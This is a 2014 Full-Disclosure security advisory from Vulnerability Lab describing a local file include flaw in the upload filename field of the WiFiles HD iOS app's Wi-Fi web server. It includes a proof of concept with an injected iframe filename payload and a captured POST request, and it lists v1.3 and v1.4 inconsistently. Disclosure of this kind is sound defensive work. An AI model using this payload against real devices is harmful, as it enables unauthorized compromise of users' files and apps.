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Message-ID: <530B3048.8040202@vulnerability-lab.com>
Date: Mon, 24 Feb 2014 12:43:04 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk
Subject: WiFiles HD v1.3 iOS - File Include Web
Vulnerability
Document Title:
===============
WiFiles HD v1.3 iOS - File Include Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1214
Release Date:
=============
2014-02-22
Vulnerability Laboratory ID (VL-ID):
====================================
1214
Common Vulnerability Scoring System:
====================================
7.1
Product & Service Introduction:
===============================
WiFiles HD for iPad is an easy to use file storage/sharing app. Transfer files using wifi or iTunes File Transfer to & from your Mac/PC with ease.
Updated- transfer files in background now supported. Store movies, photos, music, and any other file you wish. In app filesharing supports opening
files in supporting third party apps.
( Copy of the Homepage: https://itunes.apple.com/us/app/wifiles-hd/id436227200 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a local file include web vulnerability in the official Mr Burns - WiFiles HD v1.4 iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2014-02-22: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Apple AppStore
Product: WiFiles HD - iOS Web Server & Web Application 1.3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A local file include vulnerability has been discovered in the official WiFiles HD v1.4 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests
or system specific path commands to compromise the web-application/device.
The vulnerability is located in the upload module of the mobile web-application interface. Remote attackers can
manipulate the `upload > submit` POST method request with the vulnerable `filename` value to compromise the application
or connected device components.
The issue allows remote attackers to include local app path values or wifi web-server files. The exploitation appears
on the application-side and the inject request method is POST. The exection occurs in the main index file dir list.
The security risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability
scoring system) count of 7.0(+)|(-)7.1.
Exploitation of the local file include vulnerability requires no user interaction or privileged mobile application user account.
Successful exploitation of the file include web vulnerability results in mobile application compromise, connected device compromise
or web-server compromise.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Upload
Vulnerable Procedure(s):
[+] Submit
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] File Dir Index Listing (http://localhost:8080)
Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the file include web vulnerability follow the provided information and steps below to continue.
PoC: Exploit - filename
<html><head><title>Files from WiFiles HD</title><style>html {background-color:#000000} body
{ background-color:#96969b; font-family:Tahoma,Arial,Helvetica,sans-serif; font-size:18x; margin-left:15%;
margin-right:15%; border:3px groove #006600; padding:15px; } </style></head><body><h1> WiFiles HD:</h1>
<bq>Please do not leave this page until transfers are complete.
Refresh the page before attempting to transfer files if you close the server in WiFiles HD.
</bq><p style="color:white"><a href="137.png">137.png</a>
( 279.0 Kb, 2014-02-22 14:04:01 +0000)<br>
<a href="e4c167621c2e61.jpg">e4c167621c2e61.jpg</a>
( 23.8 Kb, 2014-02-22 14:04:10 +0000)<br>
<a href="<iframe src=a>"><./<[LOCAL FILE INCLUDE VULNERABILITY!]>"></a>
( 23.8 Kb, 2014-02-22 14:09:20 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label><input type="file" name="file" id="file" /></label>
<label><input type="submit" name="button" id="button" value="Submit" /></label></form></body></html></iframe></a></p></body></html>
--- PoC Session Logs [POST] ---
04:02:59.326[191ms][total 1633ms] Status: 200[OK]
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1056] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8080/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------213382078724824
Content-Disposition: form-data; name="file"; filename="./<[LOCAL FILE INCLUDE VULNERABILITY!]>"
Content-Type: image/jpeg
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode, parse and restriction of the vulnerable filename value in the upload POST method request.
Security Risk:
==============
The security risk of the local file include web vulnerability is estimated as high.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@...lution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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